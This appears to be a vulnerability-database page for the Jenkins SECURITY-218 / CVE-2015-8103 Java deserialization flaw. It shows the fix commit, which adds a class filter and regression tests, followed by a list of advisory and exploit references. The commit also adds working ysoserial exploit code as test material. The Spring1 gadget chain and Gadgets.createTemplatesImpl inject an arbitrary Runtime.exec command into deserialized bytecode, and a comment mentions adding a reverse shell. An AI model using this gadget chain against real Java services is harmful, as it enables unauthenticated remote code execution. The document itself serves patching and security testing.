test/src/test/java/jenkins/security/security218/ysoserial/payloads/Spring1.java+99 −0 added@@ -0,0 +1,99 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.security.security218.ysoserial.payloads; + +import static java.lang.Class.forName; + +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Type; + +import javax.xml.transform.Templates; + +import org.springframework.beans.factory.ObjectFactory; + + +import jenkins.security.security218.ysoserial.util.Gadgets; +import jenkins.security.security218.ysoserial.util.PayloadRunner; +import jenkins.security.security218.ysoserial.util.Reflections; +import org.apache.xalan.xsltc.trax.TemplatesImpl; + +/* + Gadget chain: + + ObjectInputStream.readObject() + SerializableTypeWrapper.MethodInvokeTypeProvider.readObject() + SerializableTypeWrapper.TypeProvider(Proxy).getType() + AnnotationInvocationHandler.invoke() + HashMap.get() + ReflectionUtils.findMethod() + SerializableTypeWrapper.TypeProvider(Proxy).getType() + AnnotationInvocationHandler.invoke() + HashMap.get() + ReflectionUtils.invokeMethod() + Method.invoke() + Templates(Proxy).newTransformer() + AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke() + ObjectFactory(Proxy).getObject() + AnnotationInvocationHandler.invoke() + HashMap.get() + Method.invoke() + TemplatesImpl.newTransformer() + TemplatesImpl.getTransletInstance() + TemplatesImpl.defineTransletClasses() + TemplatesImpl.TransletClassLoader.defineClass() + Pwner*(Javassist-generated).<static init> + Runtime.exec() + + */ + +@SuppressWarnings({"restriction", "rawtypes"}) +public class Spring1 extends PayloadRunner implements ObjectPayload<Object> { + + public Object getObject(final String command) throws Exception { + final TemplatesImpl templates = Gadgets.createTemplatesImpl(command); + + final ObjectFactory objectFactoryProxy = + Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class); + + final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) + Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler") + .newInstance(objectFactoryProxy), Type.class, Templates.class); + + final Object typeProviderProxy = Gadgets.createMemoitizedProxy( + Gadgets.createMap("getType", typeTemplatesProxy), + forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); + + final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); + final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0); + Reflections.setFieldValue(mitp, "methodName", "newTransformer"); + + return mitp; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(Spring1.class, args); + } + +}
test/src/test/java/jenkins/security/security218/ysoserial/util/ClassFiles.java+67 −0 added@@ -0,0 +1,67 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.security.security218.ysoserial.util; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; + +public class ClassFiles { + public static String classAsFile(final Class<?> clazz) { + return classAsFile(clazz, true); + } + + public static String classAsFile(final Class<?> clazz, boolean suffix) { + String str; + if (clazz.getEnclosingClass() == null) { + str = clazz.getName().replace(".", "/"); + } else { + str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); + } + if (suffix) { + str += ".class"; + } + return str; + } + + public static byte[] classAsBytes(final Class<?> clazz) { + try { + final byte[] buffer = new byte[1024]; + final String file = classAsFile(clazz); + final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); + if (in == null) { + throw new IOException("couldn't find '" + file + "'"); + } + final ByteArrayOutputStream out = new ByteArrayOutputStream(); + int len; + while ((len = in.read(buffer)) != -1) { + out.write(buffer, 0, len); + } + return out.toByteArray(); + } catch (IOException e) { + throw new RuntimeException(e); + } + } + +}
test/src/test/java/jenkins/security/security218/ysoserial/util/Gadgets.java+115 −0 added@@ -0,0 +1,115 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.security.security218.ysoserial.util; + +import java.io.Serializable; +import java.lang.reflect.Array; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; +import java.util.HashMap; +import java.util.Map; + +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; + +import org.apache.xalan.xsltc.DOM; +import org.apache.xalan.xsltc.TransletException; +import org.apache.xalan.xsltc.runtime.AbstractTranslet; +import org.apache.xalan.xsltc.trax.TemplatesImpl; +import org.apache.xalan.xsltc.trax.TransformerFactoryImpl; +import org.apache.xml.dtm.DTMAxisIterator; +import org.apache.xml.serializer.SerializationHandler; + +/* + * utility generator functions for common jdk-only gadgets + */ +@SuppressWarnings("restriction") +public class Gadgets { + private static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; + + public static class StubTransletPayload extends AbstractTranslet implements Serializable { + private static final long serialVersionUID = -5971610431559700674L; + + public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} + + @Override + public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} + } + + // required to make TemplatesImpl happy + public static class Foo implements Serializable { + private static final long serialVersionUID = 8207363842866235160L; + } + + public static <T> T createMemoitizedProxy(final Map<String,Object> map, final Class<T> iface, + final Class<?> ... ifaces) throws Exception { + return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); + } + + public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception { + return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); + } + + public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?> ... ifaces) { + final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1); + allIfaces[0] = iface; + if (ifaces.length > 0) { + System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); + } + return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces , ih)); + } + + public static Map<String,Object> createMap(final String key, final Object val) { + final Map<String,Object> map = new HashMap<String, Object>(); + map.put(key,val); + return map; + } + + public static TemplatesImpl createTemplatesImpl(final String command) throws Exception { + final TemplatesImpl templates = new TemplatesImpl(); + + // use template gadget class + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); + final CtClass clazz = pool.get(StubTransletPayload.class.getName()); + // run command in static initializer + // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections + clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");"); + // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) + clazz.setName("ysoserial.Pwner" + System.nanoTime()); + + final byte[] classBytes = clazz.toBytecode(); + + // inject class bytes into instance + Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { + classBytes, + ClassFiles.classAsBytes(Foo.class)}); + + // required to make TemplatesImpl happy + Reflections.setFieldValue(templates, "_name", "Pwnr"); + Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); + return templates; + } +}
test/src/test/java/jenkins/security/security218/ysoserial/util/PayloadRunner.java+62 −0 added@@ -0,0 +1,62 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.security.security218.ysoserial.util; + + +import java.util.concurrent.Callable; +import jenkins.security.security218.ysoserial.ExecBlockingSecurityManager; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload; +import static jenkins.security.security218.ysoserial.util.Serializables.deserialize; +import static jenkins.security.security218.ysoserial.util.Serializables.serialize; + +/* + * utility class for running exploits locally from command line + */ +@SuppressWarnings("unused") +public class PayloadRunner { + public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception { + // ensure payload generation doesn't throw an exception + byte[] serialized = ExecBlockingSecurityManager.wrap(new Callable<byte[]>(){ + public byte[] call() throws Exception { + final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe"; + + System.out.println("generating payload object(s) for command: '" + command + "'"); + + final Object objBefore = clazz.newInstance().getObject(command); + + System.out.println("serializing payload"); + + return serialize(objBefore); + }}); + + try { + System.out.println("deserializing payload"); + final Object objAfter = deserialize(serialized); + } catch (Exception e) { + e.printStackTrace(); + } + + } + +}
test/src/test/java/jenkins/security/security218/ysoserial/util/Reflections.java+56 −0 added@@ -0,0 +1,56 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.security.security218.ysoserial.util; + +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; + +public class Reflections { + + public static Field getField(final Class<?> clazz, final String fieldName) throws Exception { + Field field = clazz.getDeclaredField(fieldName); + if (field == null && clazz.getSuperclass() != null) { + field = getField(clazz.getSuperclass(), fieldName); + } + field.setAccessible(true); + return field; + } + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + field.set(obj, value); + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Constructor<?> getFirstCtor(final String name) throws Exception { + final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0]; + ctor.setAccessible(true); + return ctor; + } + +}
test/src/test/java/jenkins/security/security218/ysoserial/util/Serializables.java+57 −0 added@@ -0,0 +1,57 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.security.security218.ysoserial.util; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.io.OutputStream; + +public class Serializables { + + public static byte[] serialize(final Object obj) throws IOException { + final ByteArrayOutputStream out = new ByteArrayOutputStream(); + serialize(obj, out); + return out.toByteArray(); + } + + public static void serialize(final Object obj, final OutputStream out) throws IOException { + final ObjectOutputStream objOut = new ObjectOutputStream(out); + objOut.writeObject(obj); + } + + public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException { + final ByteArrayInputStream in = new ByteArrayInputStream(serialized); + return deserialize(in); + } + + public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException { + final ObjectInputStream objIn = new ObjectInputStream(in); + return objIn.readObject(); + } + +} \ No newline at end of file
5bd9b55a2a32Merge pull request #44 from jenkinsci-cert/SECURITY-218
9 files changed · +243 −5
cli/src/main/java/hudson/cli/Connection.java+4 −1 modified@@ -23,6 +23,8 @@ */ package hudson.cli; +import hudson.remoting.ClassFilter; +import hudson.remoting.ObjectInputStreamEx; import hudson.remoting.SocketChannelStream; import org.apache.commons.codec.binary.Base64; @@ -107,7 +109,8 @@ public void writeObject(Object o) throws IOException { * Receives an object sent by {@link #writeObject(Object)} */ public <T> T readObject() throws IOException, ClassNotFoundException { - ObjectInputStream ois = new ObjectInputStream(in); + ObjectInputStream ois = new ObjectInputStreamEx(in, + getClass().getClassLoader(), ClassFilter.DEFAULT); return (T)ois.readObject(); }
cli/src/test/java/hudson/cli/ConnectionTest.java+12 −0 modified@@ -2,6 +2,7 @@ import hudson.remoting.FastPipedInputStream; import hudson.remoting.FastPipedOutputStream; +import org.codehaus.groovy.runtime.Security218; import org.junit.Assert; import org.junit.Before; import org.junit.Test; @@ -69,4 +70,15 @@ public void run() { throw new Error("thread is still alive"); } } + + @Test + public void testSecurity218() throws Exception { + c1.writeObject(new Security218()); + try { + c2.readObject(); + fail(); + } catch (SecurityException e) { + assertTrue(e.getMessage().contains(Security218.class.getName())); + } + } }
cli/src/test/java/org/codehaus/groovy/runtime/Security218.java+11 −0 added@@ -0,0 +1,11 @@ +package org.codehaus.groovy.runtime; + +import java.io.Serializable; + +/** + * Test payload in a prohibited package name. + * + * @author Kohsuke Kawaguchi + */ +public class Security218 implements Serializable { +}
core/src/main/java/hudson/cli/declarative/MethodBinder.java+17 −0 modified@@ -30,10 +30,12 @@ import org.kohsuke.args4j.CmdLineException; import org.kohsuke.args4j.CmdLineParser; import org.kohsuke.args4j.Option; +import org.kohsuke.args4j.spi.FieldSetter; import org.kohsuke.args4j.spi.Setter; import org.kohsuke.args4j.spi.OptionHandler; import java.lang.annotation.Annotation; +import java.lang.reflect.AnnotatedElement; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.List; @@ -79,6 +81,16 @@ public Class getType() { public boolean isMultiValued() { return false; } + + @Override + public FieldSetter asFieldSetter() { + return null; + } + + @Override + public AnnotatedElement asAnnotatedElement() { + return p; + } }; Option option = p.annotation(Option.class); if (option!=null) { @@ -148,5 +160,10 @@ public boolean multiValued() { public Class<? extends Annotation> annotationType() { return base.annotationType(); } + + @Override + public boolean hidden() { + return base.hidden(); + } } }
core/src/main/java/hudson/util/ReflectionUtils.java+22 −1 modified@@ -28,6 +28,7 @@ import java.beans.PropertyDescriptor; import java.lang.annotation.Annotation; +import java.lang.reflect.AnnotatedElement; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; @@ -122,7 +123,7 @@ public String[] names() { } } - public static final class Parameter { + public static final class Parameter implements AnnotatedElement { private final MethodInfo parent; private final int index; @@ -180,6 +181,26 @@ public String name() { return names[index]; return null; } + + @Override + public boolean isAnnotationPresent(Class<? extends Annotation> type) { + return annotation(type)!=null; + } + + @Override + public <T extends Annotation> T getAnnotation(Class<T> type) { + return annotation(type); + } + + @Override + public Annotation[] getAnnotations() { + return annotations(); + } + + @Override + public Annotation[] getDeclaredAnnotations() { + return annotations(); + } } /**
pom.xml+1 −1 modified@@ -174,7 +174,7 @@ THE SOFTWARE. <dependency> <groupId>org.jenkins-ci.main</groupId> <artifactId>remoting</artifactId> - <version>2.47</version> + <version>2.53-20151108.042522-3</version> </dependency> <dependency>
test/src/test/groovy/hudson/cli/CLIActionTest.groovy+35 −2 modified@@ -1,8 +1,10 @@ package hudson.cli +import hudson.Functions import hudson.remoting.Channel -import hudson.security.FullControlOnceLoggedInAuthorizationStrategy; - +import hudson.security.FullControlOnceLoggedInAuthorizationStrategy +import org.codehaus.groovy.runtime.Security218 +import org.junit.Assert; import org.junit.Rule import org.junit.Test import org.jvnet.hudson.test.JenkinsRule @@ -12,6 +14,8 @@ import org.jvnet.hudson.test.recipes.PresetData.DataSet; import java.util.concurrent.ExecutorService import java.util.concurrent.Executors +import static org.junit.Assert.fail + /** * @author Kohsuke Kawaguchi * @author christ66 @@ -37,6 +41,35 @@ class CLIActionTest { } } + @Test + public void security218() throws Exception { + pool = Executors.newCachedThreadPool() + try { + FullDuplexHttpStream con = new FullDuplexHttpStream(new URL(j.URL, "cli")); + Channel ch = new Channel("test connection", pool, con.inputStream, con.outputStream); + ch.call(new Security218()); + fail("Expected the call to be rejected"); + } catch (Exception e) { + assert Functions.printThrowable(e).contains("Rejected: "+Security218.class.name); + } finally { + pool.shutdown(); + } + + } + + @Test + public void security218_take2() throws Exception { + pool = Executors.newCachedThreadPool() + try { + new CLI(j.URL).execute([new Security218()]); + fail("Expected the call to be rejected"); + } catch (Exception e) { + assert Functions.printThrowable(e).contains("Rejected: "+Security218.class.name); + } finally { + pool.shutdown(); + } + } + //TODO: Integrate the tests into existing ones in CLIActionTest2 @Test @PresetData(DataSet.NO_ANONYMOUS_READACCESS)
test/src/test/java/jenkins/security/Security218Test.java+120 −0 added@@ -0,0 +1,120 @@ +package jenkins.security; + +import hudson.model.Node.Mode; +import hudson.model.Slave; +import hudson.remoting.Channel; +import hudson.remoting.Which; +import hudson.slaves.DumbSlave; +import hudson.slaves.JNLPLauncher; +import hudson.slaves.RetentionStrategy; +import org.apache.tools.ant.util.JavaEnvUtils; +import org.codehaus.groovy.runtime.Security218; +import org.junit.After; +import org.junit.Rule; +import org.junit.Test; +import org.jvnet.hudson.test.Issue; +import org.jvnet.hudson.test.JenkinsRule; + +import java.io.Serializable; +import java.util.Collections; + +import static org.junit.Assert.*; + +/** + * @author Kohsuke Kawaguchi + */ +@Issue("SECURITY-218") +public class Security218Test implements Serializable { + @Rule + public transient JenkinsRule j = new JenkinsRule(); + + /** + * JNLP slave. + */ + private transient Process jnlp; + + /** + * Makes sure SECURITY-218 fix also applies to slaves. + * + * This test is for regular dumb slave + */ + @Test + public void dumbSlave() throws Exception { + check(j.createOnlineSlave()); + } + + /** + * Makes sure SECURITY-218 fix also applies to slaves. + * + * This test is for JNLP slave + */ + @Test + public void jnlpSlave() throws Exception { + DumbSlave s = createJnlpSlave("test"); + launchJnlpSlave(s); + check(s); + } + + /** + * The attack scenario here is that a master sends a normal command to a slave and a slave + * inserts a malicious response. + */ + @SuppressWarnings("ConstantConditions") + private void check(DumbSlave s) throws Exception { + try { + s.getComputer().getChannel().call(new MasterToSlaveCallable<Object, RuntimeException>() { + public Object call() { + return new Security218(); + } + }); + fail("Expected the connection to die"); + } catch (SecurityException e) { + assertTrue(e.getMessage().contains(Security218.class.getName())); + } + } + +// TODO: reconcile this duplicate with JnlpAccessWithSecuredHudsonTest + /** + * Creates a new slave that needs to be launched via JNLP. + * + * @see #launchJnlpSlave(Slave) + */ + public DumbSlave createJnlpSlave(String name) throws Exception { + DumbSlave s = new DumbSlave(name, "", System.getProperty("java.io.tmpdir") + '/' + name, "2", Mode.NORMAL, "", new JNLPLauncher(), RetentionStrategy.INSTANCE, Collections.EMPTY_LIST); + j.jenkins.addNode(s); + return s; + } + +// TODO: reconcile this duplicate with JnlpAccessWithSecuredHudsonTest + /** + * Launch a JNLP slave created by {@link #createJnlpSlave(String)} + */ + public Channel launchJnlpSlave(Slave slave) throws Exception { + j.createWebClient().goTo("computer/"+slave.getNodeName()+"/slave-agent.jnlp?encrypt=true", "application/octet-stream"); + String secret = slave.getComputer().getJnlpMac(); + // To watch it fail: secret = secret.replace('1', '2'); + ProcessBuilder pb = new ProcessBuilder(JavaEnvUtils.getJreExecutable("java"), + "-jar", Which.jarFile(hudson.remoting.Launcher.class).getAbsolutePath(), + "-jnlpUrl", j.getURL() + "computer/"+slave.getNodeName()+"/slave-agent.jnlp", "-secret", secret); + + pb.inheritIO(); + System.err.println("Running: " + pb.command()); + + jnlp = pb.start(); + + for (int i = 0; i < /* one minute */600; i++) { + if (slave.getComputer().isOnline()) { + return slave.getComputer().getChannel(); + } + Thread.sleep(100); + } + + throw new AssertionError("JNLP slave agent failed to connect"); + } + + @After + public void tearDown() { + if (jnlp !=null) + jnlp.destroy(); + } +}
test/src/test/java/org/codehaus/groovy/runtime/Security218.java+21 −0 added@@ -0,0 +1,21 @@ +package org.codehaus.groovy.runtime; + +import org.jenkinsci.remoting.RoleChecker; + +import java.io.Serializable; + +/** + * Test payload in a prohibited package name. + * + * @author Kohsuke Kawaguchi + */ +public class Security218 implements Serializable, hudson.remoting.Callable<Void,RuntimeException> { + @Override + public Void call() throws RuntimeException { + return null; + } + + @Override + public void checkRoles(RoleChecker checker) throws SecurityException { + } +}
Vulnerability mechanics
Generated by null/stub on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
18- foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/nvdExploitWEB
- packetstormsecurity.com/files/134805/Jenkins-CLI-RMI-Java-Deserialization.htmlnvdExploitThird Party AdvisoryVDB EntryWEB
- jenkins-ci.org/content/mitigating-unauthenticated-remote-code-execution-0-day-jenkins-clinvdExploitWEB
- www.exploit-db.com/exploits/38983/nvdExploitThird Party AdvisoryVDB Entry
- rhn.redhat.com/errata/RHSA-2016-0489.htmlnvdThird Party AdvisoryWEB
- access.redhat.com/errata/RHSA-2016:0070nvdThird Party AdvisoryWEB
- github.com/advisories/GHSA-wfw7-6632-xcv2ghsaADVISORY
- nvd.nist.gov/vuln/detail/CVE-2015-8103ghsaADVISORY
- wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2015-11-11nvdVendor AdvisoryWEB
- www.openwall.com/lists/oss-security/2015/11/09/5nvdMailing ListWEB
- www.openwall.com/lists/oss-security/2015/11/18/11nvdMailing ListWEB
- www.openwall.com/lists/oss-security/2015/11/18/13nvdMailing ListWEB
- www.openwall.com/lists/oss-security/2015/11/18/2nvdMailing ListWEB
- www.securityfocus.com/bid/77636nvdBroken Link
- github.com/jenkinsci/jenkins/commit/5bd9b55a2a3249939fd78c501b8959a804c1164bghsaWEB
- github.com/jenkinsci/jenkins/commit/b4193d1132089286ebeaf9d8872c839ad473329cghsaWEB
- web.archive.org/web/20151225025917/http://www.securityfocus.com/bid/77636ghsaWEB
- www.exploit-db.com/exploits/38983ghsaWEB
News mentions
0No linked articles in our index yet.